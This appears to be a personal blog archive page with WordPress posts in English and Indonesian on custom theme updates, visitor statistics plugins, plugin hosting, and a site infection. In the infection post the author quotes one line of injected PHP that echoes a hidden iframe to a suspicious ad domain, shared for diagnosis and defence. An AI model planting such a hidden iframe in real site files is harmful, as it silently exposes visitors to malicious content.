How to Make Your Own Plugins/Themes Updating Service

INTRO

Several times ago, my Smells Like Facebook theme was suspended from being updated in WordPress Theme Directory. It’s still being available to download, but I can’t submit a new version, therefore the theme users can’t get a notification and auto update from their dashboard.

So I try how to override WordPress auto update check routine and make it check the latest version of Smells Like Facebook to my own server. Here’s how:

Continue reading

Statpress vs Google Analytics

Seperti layaknya seorang bloger (halah), tentu saya ingin tahu tentang statistik kunjungan orang lain ke blog saya. Tidak bermaksud munafik, tentu saja saya masih merasa senang bila ternyata blog saya banyak dikunjungi. Berarti tulisan saya memang layak baca. Berarti pula popularitas saya meningkat, dan statu seleblog sudah semakin dekat 8) .

Okay, forget it, intinya saya ingin tahu tentang data-data orang yang mengujungi blog saya. Titik. Nah, maka daripada itu, dulu saat awal-awal meng-install WordPress di domain ini, saya menggunakan salah satu plugin-nya yang bernama Statpress. Statpress ini akan mencatat semua kunjungan (kecuali user yang login tentu sajah) dan disimpan di dalam database kita, tidak seperti plugin-plugin statistik pada umumnya, yang menggunakan third-party, alias server orang lain, sehingga kita nggak punya hak penuh dan hanya bisa pasrah kepada siapa data itu dititipkan :mrgreen: .

Awalnya cool, karena semua data, mulai dari referrer dari mana si visitor datang, sampai keyword apa yang dia pakai di search engine sehingga bisa nyasar ke sini, semuanya terekam dengan baik. Tapi… karena jumlah kunjungan semakin banyak (yang berarti saya semakin terkenal 8) ) *ahem*, jumlah data yang dimasukkan ke dalam database blog ini juga semakin banyak. Ya mau bagaimana lagi, setiap ada kunjungan, si Statpress ini pasti nambahin satu row di database. Dan bayangkan, sudah berapa juta orang yang berkunjung ke blog ini? *lebay* Sudah pasti database saya kebanjiran data. Dan mulai beberapa hari yang lalu, permasalahan ini semakin serius, saya semakin lemot membuka dashboard WordPress, apalagi membuka report statistik, sounds impossible.

Continue reading

Blocks the Annoying goooogleadsence.biz Iframe

Hey, in the middle of my work finishing the Smells Like Facebook Theme, I realize that somehow my blog always load something from http://goooogleadsence.biz/. The browser status bar always show “Connecting to http://goooogleadsence.biz/” every time I load my blog page. I thought it is my ads script. But after I check, it isn’t. Then scan blog directories and found some malicious script in some files like this

echo “<iframe src=\”?click=7B42BF\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Feeling suspicious, I google about it. Then I find this post: http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/. I finally know that the script was added somehow to my files by a virus. Yes, it is my own mistake. I often connect to my blog ftp to edit themes in a public computers. After I clean all the script from my blog directories and change my ftp password, the script always get back to the files. I don’t know why. I’m very afraid that Google will index my blog as a malicious site because of that script.

Then I got an idea. I made a very simple plugin that will end the execution of PHP script after the theme footer is loaded. So the malicious script will never be executed and the iframe will never shown in the blogpage. Of course, the plugin doesn’t remove the script, it just prevent the iframe for being shown. You’ll still need to remove the script from your files manually (or if you’ve found tool to do it). This plugin also useful in case the script get back to your files somehow after you removed them.

You can download the plugin here. It is still in beta version, so if you found some bugs, please report it here. Oh yes, you’ll need to make sure that your theme have a call to wp_footer() function right before </body> close tag.

PS: some of Joomla users have found the tool to remove the script, but.. it has a price, not free. Thanks God, I’m using WordPress..

Hosting Plugin di WordPress Plugin Directory

Baru saja, saya membuat sebuah plugin sederhana, yang berfungsi untuk menyortir jumlah komentar sebuah postingan. Dengan plugin tersebut, komentar-komentar Anda tidak akan ikut dihitung, sehingga jumlah yang muncul adalah benar-benar jumlah komentar pengunjung blog Anda. Berguna sekali untuk yang gemar membalas komentar, apalagi fitur tersebur disediakan tersendiri di WordPress 2.7.

Seperti biasa, plugin tersebut saya buatkan postingan tersendiri di blog WP-Project saya, tapi kemudian saya tergelitik untuk mencoba meng-upload plugin tersebut di Direktori Plugin WordPress. Setelah membaca petunjuk-petunjuknya, ternyata caranya cukup rumit. Pertama, Anda harus login terlebih dahulu, menggunakan username/password tersendiri. Kemudian Anda harus mengisi form informasi tentang plugin Anda. Data dari form ini nantinya akan dimoderasi oleh pihak WordPress. Bila diterima, Anda akan menerima email konfirmasi. Di dalam email diterangkan bahwa di server WordPress Direktori, si admin telah menambah sebuah folder khusus untuk plugin Anda.

Untuk mengakses folder tersebut, Anda harus menggunakan subversion client. Setelah itu, dengan menggunakan subversion client, upload file-file plugin Anda. Untuk langkah-langkah penggunaan subversion ini, bisa Anda baca di sini. Setelah selesai, tunggu 15 menit sampai ada update di WordPress Plugin Directory. Setelah 15 menit, lihat di halaman profil Anda, dan plugin Anda pun akan ada di sana.

Dan, plugin saya pun sudah ada di sana :P

Berikut petunjuk lengkap cara mengupload plugin.